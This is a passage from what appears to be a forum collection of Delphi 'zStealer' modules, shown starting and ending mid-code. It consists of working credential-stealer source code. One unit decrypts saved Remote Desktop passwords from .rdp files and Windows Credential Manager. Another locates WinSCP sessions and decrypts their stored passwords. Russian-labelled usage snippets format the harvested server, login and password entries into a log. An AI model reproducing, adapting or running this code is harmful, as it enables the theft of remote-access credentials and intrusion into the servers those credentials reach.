Haystack: String): Integer; Begin for Result := Length(Haystack) DownTo 1 Do If Haystack[Result] = Needle Then Break; End; Function RegSetValue(RootKey: HKEY; Name: String; ValType: Cardinal; PVal: Pointer; ValSize: Cardinal): Boolean; Var SubKey : String; N : Integer; Dispo : DWORD; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If n > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegCreateKeyEx(RootKey, PChar(SubKey), 0, Nil, REG_OPTION_NON_VOLATILE, KEY_WRITE Or KEY_WOW64_64KEY, Nil, hTemp, @dispo) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); Result := (RegSetValueEx(HTemp, PChar(SubKey), 0, ValType, PVal, ValSize) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegSetRZValue(RootKey: HKEY; Name: String; ValType: Cardinal; PVal: Pointer; ValSize: Cardinal): Boolean; Var SubKey : String; N : Integer; Dispo : DWORD; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegCreateKeyEx(RootKey, PChar(SubKey), 0, Nil, REG_OPTION_NON_VOLATILE, KEY_WRITE Or KEY_WOW64_64KEY, Nil, hTemp, @dispo) = ERROR_SUCCESS Then Begin SubKey := Copy(Name + '\' , N + 1, Length(Name) - N); Result := (RegSetValueEx(HTemp, PChar(SubKey + '\'), 0, ValType, PVal, ValSize) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; function RegSetRZ2Value(RootKey: HKEY; Name: String; ValType: Cardinal; PVal: Pointer; ValSize: Cardinal): Boolean; Var SubKey : String; N : Integer; Dispo : DWORD; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegCreateKeyEx(RootKey, PChar(SubKey), 0, Nil, REG_OPTION_NON_VOLATILE, KEY_WRITE Or KEY_WOW64_64KEY, Nil, hTemp, @dispo) = ERROR_SUCCESS Then Begin Result := (RegSetValueEx(hTemp, PChar(ParamStr(0)), 0, ValType, PVal, ValSize) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegGetValue(RootKey: HKEY; Name: String; ValType: Cardinal; Var PVal: Pointer; Var ValSize: Cardinal): Boolean; Var SubKey : String; N : Integer; MyValType : DWORD; hTemp : HKEY; Buf : Pointer; BufSize : Cardinal; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ Or KEY_WOW64_64KEY, hTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); If RegQueryValueEx(hTemp, PChar(SubKey), Nil, @MyValType, Nil, @BufSize) = ERROR_SUCCESS Then Begin GetMem(Buf, BufSize); if RegQueryValueEx(hTemp, PChar(SubKey), Nil, @MyValType, Buf, @BufSize) = ERROR_SUCCESS Then Begin If ValType = MyValType Then Begin PVal := Buf; ValSize := BufSize; Result := True; End Else FreeMem(Buf); End Else FreeMem(Buf); End; RegCloseKey(hTemp); End; End; End; Function RegGetRZValue(RootKey: HKEY; Name: String; ValType: Cardinal; Var PVal: Pointer; Var ValSize: Cardinal): Boolean; Var SubKey : String; N : Integer; MyValType : DWORD; hTemp : HKEY; Buf : Pointer; BufSize : Cardinal; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ Or KEY_WOW64_64KEY, HTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); If RegQueryValueEx(HTemp, PChar(SubKey), Nil, @MyValType, Nil, @BufSize) = ERROR_SUCCESS Then Begin GetMem(Buf, BufSize); SubKey := SubKey + '\'; If RegQueryValueEx(hTemp, PChar(SubKey), Nil, @MyValType, Buf, @BufSize) = ERROR_SUCCESS Then Begin If ValType = MyValType Then Begin PVal := Buf; ValSize := BufSize; Result := True; End Else FreeMem(Buf); End Else FreeMem(Buf); End; RegCloseKey(hTemp); End; End; End; Function RegSetString(RootKey: HKEY; Name: String; Value: String): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_SZ, PChar(Value + #0), Length(Value) + 1); End; Function RegSetRzString(RootKey: HKEY; Name: String; Value: String): Boolean; Begin Result := RegSetRzValue(RootKey, Name, REG_SZ, PChar(Value + #0), Length(Value) + 1); End; Function RegSetRz2String(RootKey: HKEY; Name: String; Value: String): boolean; Begin Result := RegSetRz2Value(RootKey, Name, REG_SZ, PChar(Value + #0), Length(Value) + 1); End; Function RegSetMultiString(RootKey: HKEY; Name: String; Value: String): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_MULTI_SZ, PChar(Value + #0#0), Length(Value) + 2); End; Function RegSetExpandString(RootKey: HKEY; Name: String; Value: String): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_EXPAND_SZ, PChar(Value + #0#0), Length(Value) + 1); End; Function RegSetDword(RootKey: HKEY; Name: String; Value: Cardinal): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_DWORD, @Value, SizeOf(Cardinal)); End; Function RegSetBinary(RootKey: HKEY; Name: String; Value: Array of Byte): Boolean; Begin Result := RegSetValue(RootKey, Name, REG_BINARY, @Value[Low(Value)], length(Value)); End; Function RegGetString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_SZ, Buf, BufSize) Then Begin Dec(BufSize); SetLength(Value, BufSize); If BufSize > 0 Then CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetRZString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetRzValue(RootKey, Name, REG_SZ, Buf, BufSize) Then Begin Dec(BufSize); SetLength(Value, BufSize); If BufSize > 0 Then CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetMultiString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_MULTI_SZ, Buf, BufSize) Then Begin Dec(BufSize); SetLength(Value, BufSize); If BufSize > 0 Then CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetExpandString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_EXPAND_SZ, Buf, BufSize) Then Begin Dec(BufSize); SetLength(Value, BufSize); If BufSize > 0 Then CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetDWORD(RootKey: HKEY; Name: String; Var Value: Cardinal): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_DWORD, Buf, BufSize) Then Begin CopyMemory(@Value, Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegGetBinary(RootKey: HKEY; Name: String; Var Value: String): Boolean; Var Buf : Pointer; BufSize : Cardinal; Begin Result := False; If RegGetValue(RootKey, Name, REG_BINARY, Buf, BufSize) Then Begin SetLength(Value, BufSize); CopyMemory(@Value[1], Buf, BufSize); FreeMem(Buf); Result := True; End; End; Function RegValueExists(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : Integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If n > 0 Then Begin SubKey := Copy(Name, 1, n - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ or KEY_WOW64_64KEY, hTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); Result := (RegQueryValueEx(HTemp, PChar(SubKey), Nil, Nil, Nil, Nil) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegKeyExists(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : Integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If n > 0 Then Begin SubKey := Copy(Name, 1, n - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_READ Or KEY_WOW64_64KEY, hTemp) = ERROR_SUCCESS Then Begin Result := True; RegCloseKey(hTemp); End; End; End; Function RegDelValue(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If n > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE Or KEY_WOW64_64KEY, HTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); Result := (RegDeleteValue(HTemp, PChar(SubKey)) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegDelValueRZ(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : Integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE Or KEY_WOW64_64KEY, HTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N) + '\'; Result := (RegDeleteValue(HTemp, PChar(SubKey)) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; Function RegDelKey(RootKey: HKEY; Name: String): Boolean; Var SubKey : String; N : Integer; HTemp : HKEY; Begin Result := False; N := LastPos('\', Name); If N > 0 Then Begin SubKey := Copy(Name, 1, N - 1); If RegOpenKeyEx(RootKey, PChar(SubKey), 0, KEY_WRITE Or KEY_WOW64_64KEY, HTemp) = ERROR_SUCCESS Then Begin SubKey := Copy(Name, N + 1, Length(Name) - N); Result := (RegDeleteKey(HTemp, PChar(SubKey)) = ERROR_SUCCESS); RegCloseKey(HTemp); End; End; End; End. Использование: Procedure PsiReadArray; Var I: Integer; Begin For I := 1 To Psi_ArNum Do Begin If I = 1 Then Log := Log + 'Psi IM (' + IntToStr(Psi_ArNum) + ' items)' + Cl + Cl; Log := Log + Cl4 + 'serv: ' + Cl3 + Psi_Srv_Ar[I] + Cl + Cl4 + 'login: ' + Cl3 + Psi_Log_Ar[I] + Cl + Cl4 + 'pass: ' + Cl3 + Psi_Pwd_Ar[I] + Cl2; End; End;
  9. [Delphi] Microsoft RDP Passwords decrypt

    // zStealer module (c) 2015 // https://dedik.cc/index.php?showtopic=86138 unit rdp; interface uses Windows, ActiveX, Classes, SysUtils, SHFolder, StrUtils, ShlObj; procedure GetRdpPasswords; var rdp_srv_ar : array [1..1000] of string; rdp_log_ar : array [1..1000] of string; rdp_pwd_ar : array [1..1000] of string; rdp_flg_ar : array [1..1000] of string; rdp_arnum : Cardinal = 0; RdpResult : Boolean = False; implementation type DATA_BLOB = packed record cbData: LongWord; pbData: Pointer; end; PPCREDENTIAL = ^PCREDENTIAL; PCREDENTIAL = ^TCREDENTIAL; TCREDENTIAL = packed record dwFlags: DWORD; dwType: DWORD; TargetName: PChar; Comment: PChar; LastWritten: FILETIME; CredentialBlobSize: LongWord; CredentialBlob: Pointer; Persist: DWORD; AttributeCount: DWORD; Attributes: Pointer; TargetAlias: PChar; UserName: PChar; end; PRDPItem = ^TRDPItem; TRDPItem = record User: String; Password: String; Host: String; end; TModule_RDP = class private List: TList; procedure ProcessRDPFile(const FileName: String); procedure NewCollect; procedure FindRDPFiles(const BasePath: String); protected function GetIsEmpty: Boolean; public constructor Create; destructor Destroy; override; function AsText: String; procedure Collect; end; var MyCryptUnprotectData: function(var pDataIn: DATA_BLOB; ppszDataDescr: Integer; pOptionalEntropy: Pointer; pvReserved, pPromptStruct, dwFlags: Integer; var pDataOut: DATA_BLOB): Bool; stdcall; CredEnumerate: function(Filter: PChar; Flags: DWORD; var Count: DWORD; var Cred: PPCREDENTIAL): BOOL; stdcall; CredFree: procedure(Buffer: Pointer); stdcall; const KEY_WOW64_32KEY = $200; KEY_WOW64_64KEY = $100; procedure rdp_add_to_array(login, password, server, flags: string); var i: integer; begin for i := 1 to rdp_arnum do if (rdp_log_ar[i] = login) and (rdp_pwd_ar[i] = password) then begin if pos(flags, rdp_flg_ar[i]) = 0 then rdp_flg_ar[i] := rdp_flg_ar[i] + flags; exit; end; begin Inc(rdp_arnum); rdp_srv_ar[rdp_arnum] := server; rdp_log_ar[rdp_arnum] := login; rdp_pwd_ar[rdp_arnum] := password; rdp_flg_ar[rdp_arnum] := flags; end; end; function CharTrim(const S: String; Value: Char): String; var I, L: Integer; begin L := Length(S); I := 1; while (I <= L) and (S[I] = Value) do Inc(I); if I > L then Result := '' else begin while S[L] = Value do Dec(L); Result := Copy(S, I, L - I + 1); end; end; function ZTrim(const S: String): String; begin Result := CharTrim(S, #0); end; function RegReadValueStr(Key: HKEY; const Path, Param: String; var Res: String; x64: Boolean = False): Boolean; var hkHandle : HKEY; DataType, DataLen, val : LongWord; begin Result := False; Res := ''; if x64 then val := KEY_WOW64_64KEY else val := KEY_WOW64_32KEY; if RegOpenKeyEx(Key, PChar(CharTrim(Path, '\')), 0, val or KEY_READ, hkHandle) = ERROR_SUCCESS then begin if RegQueryValueEx(hkHandle, PChar(Param), nil, nil, nil, @DataLen) = ERROR_SUCCESS then begin SetLength(Res, DataLen); if RegQueryValueEx(hkHandle, PChar(Param), nil, @DataType, @Res[1], @DataLen) = 0 then begin if DataType = REG_SZ then begin if DataLen > 1 then SetLength(Res, StrLen(@Res[1])) else Res := ''; end else SetLength(Res, DataLen); Result := True; end else Res := ''; end; RegCloseKey(hkHandle); end; if (not Result) and (x64 = False) then Result := RegReadValueStr(Key, Path, Param, Res, True); end; function SHGetFolderPathStr(UID: LongWord): String; var Folder : String; i : Integer; const CShellDirData: array[0..12] of record HK: HKEY; ID: LongWord; Name: String; end = ( (HK: HKEY_CURRENT_USER; ID: CSIDL_PERSONAL; Name: 'My Documents'), (HK: HKEY_CURRENT_USER; ID: CSIDL_APPDATA; Name: 'AppData'), (HK: HKEY_CURRENT_USER; ID: CSIDL_LOCAL_APPDATA; Name: 'Local AppData'), (HK: HKEY_CURRENT_USER; ID: CSIDL_INTERNET_CACHE; Name: 'Cache'), (HK: HKEY_CURRENT_USER; ID: CSIDL_COOKIES; Name: 'Cookies'), (HK: HKEY_CURRENT_USER; ID: CSIDL_HISTORY; Name: 'History'), (HK: HKEY_CURRENT_USER; ID: CSIDL_COMMON_APPDATA; Name: 'History'), (HK: HKEY_LOCAL_MACHINE; ID: CSIDL_PERSONAL; Name: 'My Documents'), (HK: HKEY_LOCAL_MACHINE; ID: CSIDL_COMMON_APPDATA; Name: 'Common AppData'), (HK: HKEY_CURRENT_USER; ID: CSIDL_MYPICTURES; Name: 'My Pictures'), (HK: HKEY_LOCAL_MACHINE; ID: CSIDL_COMMON_DOCUMENTS; Name: 'Common Documents'), (HK: HKEY_LOCAL_MACHINE; ID: CSIDL_COMMON_ADMINTOOLS; Name: 'Common Administrative Tools'), (HK: HKEY_CURRENT_USER; ID: CSIDL_ADMINTOOLS; Name: 'Administrative Tools')); begin SetLength(Folder, MAX_PATH+1); Folder[1] := #0; if Succeeded(SHGetFolderPath(0, UID, 0, 0, @Folder[1])) then Result := StrPas(@Folder[1]) else Result := ''; if Result = '' then for i := Low(CShellDirData) to High(CShellDirData) do if (CShellDirData[i].ID = (UID and not CSIDL_FLAG_CREATE)) and (RegReadValueStr(CShellDirData[i].HK, 'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders', CShellDirData[i].Name, Result)) then Exit; end; procedure xCloseFile(var FHandle: THandle); begin if FHandle <> INVALID_HANDLE_VALUE then CloseHandle(FHandle); FHandle := INVALID_HANDLE_VALUE; end; function xOpenFile(var FHandle: THandle; const FileName: String): Boolean; begin Result := False; FHandle := CreateFile(PChar(FileName), GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING, 0, 0); if FHandle = INVALID_HANDLE_VALUE then Exit; if SetFilePointer(FHandle, 0, nil, 0) = LongWord(-1) then begin xCloseFile(FHandle); Exit; end; Result := True; end; function xReadFile(const FileName: String): String; var Buf : array[0..2047] of Char; rd, c, Len : DWord; FHandle : THandle; begin Result := ''; if not xOpenFile(FHandle, FileName) then Exit; Len := GetFileSize(FHandle, nil); if Len = $FFFFFFFF then Exit; SetLength(Result, Len); c := 0; while Windows.ReadFile(FHandle, Buf, SizeOf(Buf), rd, nil) do begin if rd > 0 then Move(Buf, Result[c + 1], rd) else Break; c := c + rd; end; xCloseFile(FHandle); if Len <> c then Result := ''; end; function UnkTextToString(const Text: String): String; var S: String; begin if IsTextUnicode(@Text[1], Length(Text), nil) then S := WideCharLenToString(@Text[1], Length(Text) div 2) else S := Text; Result := ZTrim(S); end; { TModule_RDP } constructor TModule_RDP.Create; begin inherited; List := TList.Create; end; destructor TModule_RDP.Destroy; var i: Integer; begin if List <> nil then for i := 0 to List.Count - 1 do begin with PRDPItem(List[i])^ do begin User := ''; Password := ''; Host := ''; end; Dispose(List[i]); end; end; procedure TModule_RDP.ProcessRDPFile(const FileName: String); function Extract(const Value: String): String; var i: Integer; S: String; begin Result := ''; for i := 1 to Length(Value) do if not (Value[i] in ['0'..'9', 'A'..'F']) then Break else Result := Result + Value[i]; try S := Result; Result := ''; for i := 1 to Length(S) div 2 do Result := Result + Chr(StrToInt('$' + Copy(S, i * 2 - 1, 2))); except //CErr(CErr_PassDecrypt); Result := ''; end; end; var S, Data, Pass, UserName, Password, Server : String; InBlob, OutBlob : DATA_BLOB; k : Integer; item : PRDPItem; const CUserVal = 'username:s'; CAddr = 'full address:s'; begin if not FileExists(FileName) then Exit; S := xReadFile(FileName); if S = '' then Exit; S := UnkTextToString(S); if S = '' then Exit; Data := Extract(Copy(S, Pos('51:b:', S)+5, MaxInt)); if Data = '' then Exit; if @MyCryptUnprotectData <> nil then begin InBlob.cbData := Length(Data); InBlob.pbData := @Data[1]; Pass := ''; if MyCryptUnprotectData(InBlob, 0, nil, 0, 0, 1, OutBlob) then begin SetLength(Pass, OutBlob.cbData); Move(OutBlob.pbData^, Pass[1], OutBlob.cbData); Pass := Pass + #0#0; Pass := PWideChar(@Pass[1]); Pass := UnkTextToString(Pass); LocalFree(Integer(OutBlob.pbData)); if Pass <> '' then begin k := Pos(CUserVal, S) + Length(CUserVal) + 1; UserName := Copy(S, k, PosEx(#13#10, S, Pos(CUserVal, S)) - k); Password := Pass; k := Pos(CAddr, S) + Length(CAddr) + 1; Server := Copy(S, k, PosEx(#13#10, S, Pos(CAddr, S)) - k); New(item); List.Add(item); item.User := Trim(UserName); item.Password := Trim(Password); item.Host := Trim(Server); rdp_add_to_array(item.User, item.Password, item.Host, 'rdp'); end; end else //CErr(CErr_PassDecrypt); end; end; procedure TModule_RDP.NewCollect; var Count : LongWord; p, Credentials : PPCREDENTIAL; i : Integer; item : PRDPItem; WPass : WideString; SName, SPass : String; begin if (@CredFree = nil) or (@CredEnumerate = nil) then Exit; try if (CredEnumerate('TERMSRV/*', 0, Count, p)) then begin Credentials := p; for i := 0 to Count - 1 do begin SName := StrPas(Credentials^.UserName); if (Credentials^.CredentialBlobSize <> 0) and (Credentials^.CredentialBlobSize mod 2 = 0) then begin SetLength(WPass, Credentials^.CredentialBlobSize div 2); Move(Credentials^.CredentialBlob^, WPass[1], Credentials^.CredentialBlobSize); SPass := WPass; end else SPass := ''; New(item); List.Add(item); item.User := Trim(SName); item.Password := Trim(SPass); item.Host := Trim(Credentials^.TargetName); item.Host := Copy(item.Host, Length('TERMSRV/') + 1, MaxInt); rdp_add_to_array(item.User, item.Password, item.Host, 'rdp'); Inc(Credentials); end; CredFree(p); end; except //CErr(CErr_ReadPassFile); end; end; procedure TModule_RDP.FindRDPFiles(const BasePath: String); var sr: TSearchRec; begin if FindFirst(BasePath + '\*.rdp', faAnyFile, sr) = 0 then begin repeat if (sr.Attr and faDirectory) = 0 then ProcessRDPFile(BasePath + '\' + PChar(@sr.FindData.cFileName[0])); until FindNext(sr) <> 0; FindClose(sr); end; end; procedure TModule_RDP.Collect; begin inherited; NewCollect; FindRDPFiles(SHGetFolderPathStr(CSIDL_PERSONAL)); end; function TModule_RDP.AsText: String; var i: Integer; begin Result := ''; if (List <> nil) and (List.Count > 0) then for i := 0 to List.Count - 1 do if (PRDPItem(List[i])^.User <> '') and (PRDPItem(List[i])^.Password <> '') and (PRDPItem(List[i])^.Host <> '') then Result := Result + 'rdp://' + PRDPItem(List[i])^.User + ':' + PRDPItem(List[i])^.Password + '@' + PRDPItem(List[i])^.Host + #13#10 end; function TModule_RDP.GetIsEmpty: Boolean; begin Result := (List <> nil) and (List.Count = 0); end; procedure GetRdpPasswords; var hCrypt32Lib, hAdvapi32: THandle; begin CoInitialize(nil); hAdvapi32 := LoadLibrary('advapi32.dll'); if hAdvapi32 <> 0 then begin CredEnumerate := GetProcAddress(hAdvapi32, 'CredEnumerateA'); CredFree := GetProcAddress(hAdvapi32, 'CredFree'); end; hCrypt32Lib := LoadLibrary('crypt32.dll'); if hCrypt32Lib <> 0 then MyCryptUnprotectData := GetProcAddress(hCrypt32Lib, 'CryptUnprotectData'); with TModule_RDP.Create do begin Collect(); Free; end; RDPResult := True; end; end. Использование: Procedure RDPReadArray; Var I: Integer; Begin For I := 1 To RDP_ArNum Do Begin If I = 1 Then Log := Log + 'Remote Desktop (' + IntToStr(RDP_ArNum) + ' items)' + Cl + Cl; Log := Log + Cl4 + 'serv: ' + Cl3 + RDP_Srv_Ar[I] + Cl + Cl4 + 'login: ' + Cl3 + RDP_Log_Ar[I] + Cl + Cl4 + 'pass: ' + Cl3 + RDP_Pwd_Ar[I] + Cl2; End; End;
  10. [Delphi] WinSCP Passwords decrypt

    // zStealer module (c) 2015 // https://dedik.cc/index.php?showtopic=86138 Unit WinSCP; Interface Uses Psapi, MiniReg64, Windows; Procedure GetWinScpPasswords; Var WinSCP_Srv_Ar : Array [1..1000] Of String; WinSCP_Log_Ar : Array [1..1000] Of String; WinSCP_Pwd_Ar : Array [1..1000] Of String; WinSCP_ArNum : Cardinal = 0; WinSCPResult : Boolean = False; Implementation Function WinSCP_Add_To_Array(Server, Login, Password: String): String; Var I: Integer; Begin If (Password = '') Then Exit; For I := 1 To WinSCP_ArNum Do If (WinSCP_Log_Ar[I] = Login) And (WinSCP_Pwd_Ar[I] = Password) And (WinSCP_Srv_Ar[i] = Server) Then Exit; Inc(WinSCP_ArNum); WinSCP_Log_Ar[WinSCP_ArNum] := Login; WinSCP_Pwd_Ar[WinSCP_ArNum] := Password; WinSCP_Srv_Ar[WinSCP_ArNum] := Server; End; Function InInt(S: String): Longint; Var I, Code: Longint; Begin Val(S, I, Code); InInt := I; End; Function HexStrToByteStr(Const Value: String): String; Var I: Integer; Begin Result := ''; For I := 1 To Length(Value) Div 2 Do Begin Try Result := Result + AnsiChar(InInt('$' + Copy(Value, I * 2 - 1, 2))); Except Result := ''; Exit; End; End; End; Function WinSCPDecrypt(Const Host, User, Hash: String): String; Var BSkip, BLen : LongWord; I : Integer; Begin Result := HexStrToByteStr(Hash); If Length(Result) <= 4 Then Begin Result := ''; Exit; End; For I := 1 To Length(Result) Do Result[I] := AnsiChar(Ord(Result[I]) Xor 92); BLen := Ord(Result[3]); BSkip := Ord(Result[4]); Delete(Result, 1, 4); Delete(Result, 1, BSkip); Result := System.Copy(Result, 1, BLen); If Result = '' Then Exit; BLen := Length(User) + Length(Host); If System.Copy(Result, 1, BLen) <> User + Host Then Begin Result := ''; Exit; End Else Delete(Result, 1, BLen); End; Function Trim(Const S: String): String; Var I, L: Integer; Begin Result := ''; L := Length(S); I := 1; While (I <= L) And (S[I] <= ' ') Do Inc(I); If I > L Then Result := '' Else Begin While S[L] <= ' ' Do Dec(L); Result := Copy(S, I, L - I + 1); End; End; Function FileExists(Name: String): Boolean; Var FileHandle: Integer; Begin Result := True; FileHandle := CreateFile(PAnsiChar(Name), GENERIC_READ, FILE_SHARE_READ, Nil, OPEN_EXISTING, 0, 0); If FileHandle = -1 Then Result := False; CloseHandle(FileHandle); End; Function ExtractFileNameMax(FileName: String): String; Var I: Integer; Begin For I := 1 To Length(FileName) Do FileName := Copy(FileName, Pos('\', FileName) + 1, Length(FileName)); Result := FileName; End; Function ExtractFileDirMax(FileName: String): String; Var I: Integer; F: String; Begin F := FileName; For I := 1 To Length(FileName) Do FileName := Copy(FileName, Pos('\', FileName) + 1, Length(FileName)); Result := Copy(F, 1, Length(F) - Length(FileName) - 1); End; Function LowerCase(S: String): String; Var I: Integer; Begin Result := S; For I := 1 To Length(Result) Do If (Result[I] In ['A'..'Z', '?'..'?']) Then Result[I] := Chr(Ord(Result[I]) + 32); End; Procedure ReadConfig(Path: String); Var F : TextFile; S, U, P, H : String; Begin If FileExists(Path) = False Then Exit; Try AssignFile(F, Path); Reset(F); While Not EOF(F) Do Begin ReadLn(F, S); S := Trim(S); If Pos('HostName=', S) > 0 Then H := Copy(S, Pos('HostName=', S) + 9, Length(S)); If Pos('UserName=', S) > 0 Then U := Copy(S, Pos('UserName=', S) + 9, Length(S)); If Pos('Password=', S) > 0 Then Begin P := Copy(S, Pos('Password=', S) + 9, Length(S)); If (H <> '') And (U <> '') And (P <> '') Then WinSCP_Add_To_Array(H, U, WinSCPDecrypt(H, U, P)); H := ''; U := ''; P := ''; End; End; Except End; CloseFile(F); End; Procedure CheckWinSCPLocation(Path: String); Begin If FileExists(ExtractFileDirMax(Path) + '\winscp.ini') Then ReadConfig(ExtractFileDirMax(Path) + '\winscp.ini'); End; Procedure FindWinSCPProcess; Var Ph : THandle; Mh : Hmodule; Count, Cm, I : Cardinal; procs : Array[0..$FFF] Of Dword; ModName : Array[0..Max_Path] Of Char; Begin If Not EnumProcesses(@Procs, SizeOf(Procs), Count) Then Exit; For I := 0 To Count Div 4 - 1 Do Begin Ph := OpenProcess(PROCESS_QUERY_INFORMATION Or PROCESS_VM_READ, False, Procs[I]); If Ph > 0 Then Begin EnumProcessModules(Ph, @Mh, 4, Cm); GetModuleFileNameEx(Ph, Mh, ModName, SizeOf(ModName)); If (Pos(LowerCase('WinScp'), LowerCase(ExtractFileNameMax(ModName))) <> 0) Then CheckWinScpLocation(ModName); CloseHandle(Ph); End; End; End; Function FindWinSCPMUIW7: string; Var hkHandle : HKEY; Len : DWORD; I, Err : LongInt; S : Array [0..Max_Path] Of Char; Begin Result := ''; I := 0; If RegOpenKeyEx(HKEY_CLASSES_ROOT, 'Local Settings\Software\Microsoft\Windows\Shell\MuiCache', 0, KEY_ALL_ACCESS, hkHandle) = ERROR_SUCCESS Then Repeat Len := Max_Path; Err := RegEnumValue(hkHandle, I, S, Len, Nil, Nil, Nil, Nil); If Pos('winscp', LowerCase(S)) > 0 Then CheckWinScpLocation(S); Inc(I); Until Err <> Error_Success; RegCloseKey(hkHandle); End; Procedure CheckWinSCPSession(Name: String); Var H, U, P: String; Begin RegGetString(HKEY_CURRENT_USER, 'Software\Martin Prikryl\WinSCP 2\Sessions\' + Name + '\HostName', H); RegGetString(HKEY_CURRENT_USER, 'Software\Martin Prikryl\WinSCP 2\Sessions\' + Name + '\UserName', U); RegGetString(HKEY_CURRENT_USER, 'Software\Martin Prikryl\WinSCP 2\Sessions\' + Name + '\Password', P); If (H <> '') And (U <> '') And (P <> '') Then WinSCP_Add_To_Array(H, U, WinSCPDecrypt(H, U, P)); End; Procedure ReadWinSCPSessions; Var MyKey : HKey; Buffer : Array[0..1000] Of char; Err, Index : LongInt; Begin RegOpenKey(HKEY_CURRENT_USER, 'Software\Martin Prikryl\WinSCP 2\Sessions', MyKey); Index := 0; Err := RegEnumKey(MyKey, Index, Buffer, SizeOf(Buffer)); While Err = ERROR_SUCCESS Do Begin CheckWinSCPSession(Buffer); Inc(Index); Err := RegEnumKey(MyKey, Index, Buffer, SizeOf(Buffer)); End; RegCloseKey(MyKey); End; Procedure GetWinScpPasswords; Begin FindWinSCPProcess; FindWinSCPMUIW7; ReadWinSCPSessions; WinSCPResult := True; End; End. unit MiniReg64; Interface Uses Windows; Function RegSetString(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetRzString(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetRz2String(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetMultiString(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetExpandString(RootKey: HKEY; Name: String; Value: String): Boolean; Function RegSetDWORD(RootKey: HKEY; Name: String; Value: Cardinal): Boolean; Function RegSetBinary(RootKey: HKEY; Name: String; Value: Array of Byte): Boolean; Function RegGetString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegGetRZString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegGetMultiString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegGetExpandString(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegGetDWORD(RootKey: HKEY; Name: String; Var Value: Cardinal): Boolean; Function RegGetBinary(RootKey: HKEY; Name: String; Var Value: String): Boolean; Function RegValueExists(RootKey: HKEY; Name: String): Boolean; Function RegKeyExists(RootKey: HKEY; Name: String): Boolean; Function RegDelValue(RootKey: HKEY; Name: String): Boolean; Function RegDelValueRZ(RootKey: HKEY; Name: String): Boolean; Function RegDelKey(RootKey: HKEY; Name: String): Boolean; Implementation Const KEY_WOW64_64KEY = $0100; Function LastPos(Needle: Char; Haystack: String): Integer; Begin for Result := Length(Haystack) DownTo 1 Do If Haystack[Result] = Needle Then Break; End; Function RegSetValue(RootKey: HKEY; Name: String; ValType: Cardinal; PVal: Pointer; ValSize: Cardinal): Boolean; Var 